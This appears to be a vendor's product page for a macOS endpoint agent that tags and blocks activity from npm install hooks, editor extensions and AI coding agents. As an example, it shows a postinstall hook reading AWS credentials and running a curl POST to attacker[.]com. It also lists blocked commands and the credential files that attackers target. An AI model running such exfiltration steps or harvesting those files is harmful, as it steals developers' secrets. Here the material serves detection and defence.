A curl command is noise. A curl from the postinstall hook of an npm package is an incident. Phorion tags activity with the behavior behind it and carries that tag across every descendant process, file, network and DNS event.
When a process starts, the agent inspects the full context Apple's Endpoint Security Framework hands it, including the process environment. An npm lifecycle hook, an IDE extension host or an AI coding agent each leave a recognizable fingerprint.
The process gets a behavior label plus the metadata that matters: for npm, the lifecycle phase, package name and version.
The agent carries the earliest tag down the process tree and onto events that have no environment of their own: file reads, network connections, DNS lookups. Code further down the tree can't shed the tag by tampering with its environment.
npm installsh -c "node setup.js"
NpmPostInstall · lifecycle-canary@1.0.0node setup.js
NpmPostInstallopen ~/.aws/credentials
NpmPostInstall
Deniedattacker[.]com
NpmPostInstallcurl -X POST -d … https://attacker[.]com/collect
NpmPostInstallnpm publish
NpmPostInstall
BlockedTagging turns "something ran curl" into a fact you can act on, and a disclosed package name into a single fleet-wide search.
{
"event_type": "ProcessExec",
"signing_id": "com.apple.curl",
"process_args": ["curl", "-X", "POST", "-d", "...",
"https://attacker[.]com/collect"],
...
}{
"event_type": "ProcessExec",
"signing_id": "com.apple.curl",
"process_args": ["curl", "-X", "POST", "-d", "...",
"https://attacker[.]com/collect"],
"behavior": ["NpmPostInstall"],
"enrichments": {
"npm": {
"lifecycle_event": "postinstall",
"package_name": "lifecycle-canary",
"package_version": "1.0.0"
}
},
...
}Developer tooling runs third-party code with the developer's full access. Tagging separates that code's activity from the person at the keyboard.
preinstall, install, postinstall and prepare scripts run silently during npm install. Phorion tags each hook with its phase, package and version, the surface used by Shai-Hulud, the TanStack compromise and the Axios package compromise.
Extensions in VS Code, Cursor and other editors inherit broad code execution and file access. Tagging their activity separates a malicious extension's processes, reads and connections from the developer's own work.
See a malicious extension in the wildAgents run commands, read files and make network requests on the developer's behalf. Tagging shows exactly what an agent executed and touched, and lets you scope controls to agent activity alone.
Read about triaging AI agent activityA compromised package is disclosed. Pivot from its name and affected versions to every execution across the fleet: which files it read, what it downloaded, which domains it queried. One query, no process-tree walking.
Write rules on behavior, not just binaries. "A credential file read during an npm hook" is a far sharper signal than "node read a file".
Block in-line, scoped to the behavior. curl and osascript stay available to the developer, but not to a lifecycle hook that has no business running them.
| Activity | Why |
|---|---|
osascript | Credential phishing dialogs and JXA execution |
pbpaste | Clipboard sniffing for credentials |
rm -rf | Destructive "dead-man's switch" payloads |
npm publish | Worm self-propagation through stolen tokens |
open | Detaching processes to escape the hook's tree |
| …and more | |
| File | Contains |
|---|---|
~/.npmrc | npm registry tokens |
~/.git-credentials | Plaintext git HTTPS credentials |
~/.aws/credentials | AWS access keys |
~/.docker/config.json | Container registry tokens |
~/.terraform.d/credentials.tfrc.json | Terraform Cloud tokens |
| …and more | |
Every rule is individually toggleable. Need Python during node-gyp builds? Disable that one rule and keep the rest.
Purpose-built by macOS security researchers. One lightweight agent delivering detection, prevention, and visibility.
Ready to see it in action? Book a demo and we'll show you how Phorion can protect your fleet.
Expect a personal email from our team.
